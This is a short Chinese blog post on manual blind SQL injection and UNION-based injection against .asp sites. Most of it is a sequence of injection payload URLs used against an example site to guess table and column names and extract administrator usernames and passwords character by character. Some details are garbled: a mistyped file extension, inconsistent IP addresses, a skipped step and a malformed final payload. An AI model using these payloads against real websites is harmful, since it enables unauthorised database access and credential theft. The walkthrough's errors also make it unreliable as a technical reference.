SQL注入 手注与联合注入

Posted 吕STONE

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 手注与联合注入相关的知识,希望对你有一定的参考价值。

SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令;
           得到数据库用户名和密码
1:在以,{ .asp?id=32(任意数字) }结尾的链接依次添加{ ‘ }【 and 1=1 】和【and 1=2】,来判断是否存在注入点。
2:【and exists(select*from admin)】,根据页面返回结果来猜表名。
3:【and exists(select admin from admin)】,来猜admin 表中的列名admin 。
4:【and (select top 1 len (admin)from admin)>1】,来猜字段长度。
5:【and (select top 1 asc(mid(admin,1,1))from admin)>97】
 
e.g
  找到一个网站
HTTP://196.128.1.3:8008/onews.sap?id=40
1:HTTP://196.128.1.3:8008/onews.sap?id=40 and 1=1  (页面显示正常)
2:HTTP://196.128.1.3:8008/onews.sap?id=40 and 1=2 ( 显示数据库错误)
【1,2,步显示页面存在SQL注入】
3:HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select*from admin) 【页面显示正常,说明此页面存在表名admin】
4:HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select password from admin)【存在password】
5: HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select admin from admin)【存在admin】
6:HTTP://196.128.1.3:8008/onews.sap?id=40 and  (select top 1 len(admin) (或 password)from admin)>1
【正常,表示admin(或 password)的字段是大余后面的数字的,(在后面的数字依次变大,直到页面显示错误,即表示字段最大长度为这个数字)】
7:HTTP://196.128.1.3:8008/onews.sap?id=40 and (select top 1 asc(mid(admin【或者 password】,1【其他位置的字段】,1))from admin)>97 【其他ASCLL对应的大小】
【直到页面显示数据库错误,表示该password或admin 在该位置的字母】
9:重复以上操作,即可得到该页面的admin 和 password
    猜想:可不可以用代码来代替手工注入,这是一个重复的过程
 
 联合注入法
1:HTTP://192.168.1.3:8008/onews.sap?id=36 order by 1【其他数】 【order by 所有字符的总长度,页面不正常显示,表示 admin 和password 的总长度为 】
2:HTTP://192.168.1.3:8008/onews.sap?id=36 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
【页面显示 2 和 3,表示 password 和 admin 分别位于2 和 3 的位置。
4:HTTP://192.168.1.3:8008/onews.sap?id=36 union select 1,admin,password 4,5,6,7,8,9,10,11 from admin   【页面即可爆处 admin 和 password】
  

以上是关于SQL注入 手注与联合注入的主要内容,如果未能解决你的问题,请参考以下文章

SQL查询语句&注入实战(手注)

一个SQL注入可视化技巧

(宽字节注入) 手注+sqlmap

SQL注入—— sql手动注入实操

SQL注入-联合查询注入

SQL注入系列篇之union联合注入